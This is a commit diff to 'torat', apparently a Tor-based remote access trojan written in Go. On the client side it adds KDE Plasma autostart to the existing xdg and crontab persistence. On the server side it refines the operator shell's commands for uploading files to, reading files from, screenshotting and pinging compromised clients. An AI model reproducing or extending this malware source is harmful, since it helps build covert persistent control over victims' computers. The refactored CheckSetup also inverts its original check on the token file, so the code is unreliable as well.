fixes

wangke0809 · Nov 30, 2019 · 48b07b1 · 48b07b1
1 parent 1542364
commit 48b07b1
Show file tree

Hide file tree

Showing 3 changed files with 17 additions and 16 deletions.
diff --git a/torat_client/persit_linux.go b/torat_client/persit_linux.go
@@ -34,6 +34,7 @@ func PersistAdmin(path string) {
 func PersistUser(path string) {
 	xdg(path, false)
 	crontab(path)
+	kdePlasma(path)
 }
 
 func crontab(path string) {

diff --git a/torat_client/setup.go b/torat_client/setup.go
@@ -22,7 +22,10 @@ func copyExecuteable() error {
 	if err != nil {
 		return err
 	}
-	os.MkdirAll(Path, os.ModePerm)
+	err = os.MkdirAll(Path, os.ModePerm)
+	if err != nil {
+		return err
+	}
 	return ioutil.WriteFile(PathExe, data, os.ModePerm)
 }
 
@@ -42,10 +45,7 @@ func CheckSetup() bool {
 	osexe, _ := os.Executable()
 	if osexe == PathExe {
 		_, err := os.Stat(filepath.Join(Path, "token"))
-		if err != nil {
-			return false
-		}
-		return true
+		return err != nil
 	}
 	return false
 }

diff --git a/torat_server/shell.go b/torat_server/shell.go
@@ -72,11 +72,11 @@ func Shell() {
 	shell.AddCmd(&ishell.Cmd{
 		Name: "cd",
 		Func: func(c *ishell.Context) {
-			os.Chdir(strings.Join(c.Args, " "))
-			cwd, err := os.Getwd()
+			err := os.Chdir(strings.Join(c.Args, " "))
 			if err != nil {
 				log.Fatalln("Could not change directory:", err)
 			}
+			cwd, _ := os.Getwd()
 
 			shell.SetPrompt(blue(cwd) + "$ ")
 
@@ -256,9 +256,8 @@ func (client *activeClient) Upload(c *ishell.Context) {
 		Perm:    info.Mode(),
 	}
 
-	var r error
-	client.RPC.Call("API.RecvFile", f, &r)
-	if r != nil {
+	err = client.RPC.Call("API.RecvFile", f, &void)
+	if err != nil {
 		c.ProgressBar().Final(red("[!] Upload failed"))
 		c.ProgressBar().Stop()
 	}
@@ -267,10 +266,8 @@ func (client *activeClient) Upload(c *ishell.Context) {
 
 }
 
-func (client *activeClient) Ping(c *ishell.Context) {
-	var r string
-
-	client.RPC.Call("API.Ping", void, &r)
+func (client *activeClient) Ping(c *ishell.Context) error {
+	return client.RPC.Call("API.Ping", void, &void)
 }
 
 func (client *activeClient) Screen(c *ishell.Context) {
@@ -307,8 +304,11 @@ func (client *activeClient) Reconnect(c *ishell.Context) {
 func (client *activeClient) Cat(c *ishell.Context) {
 	path := strings.Join(c.Args, " ")
 	var r string
-	client.RPC.Call("API.Cat", path, &r)
-	println(r)
+	err := client.RPC.Call("API.Cat", path, &r)
+	if err != nil {
+		c.Println(err)
+	}
+	c.Println(r)
 }
 
 func (client *activeClient) Cd(c *ishell.Context) {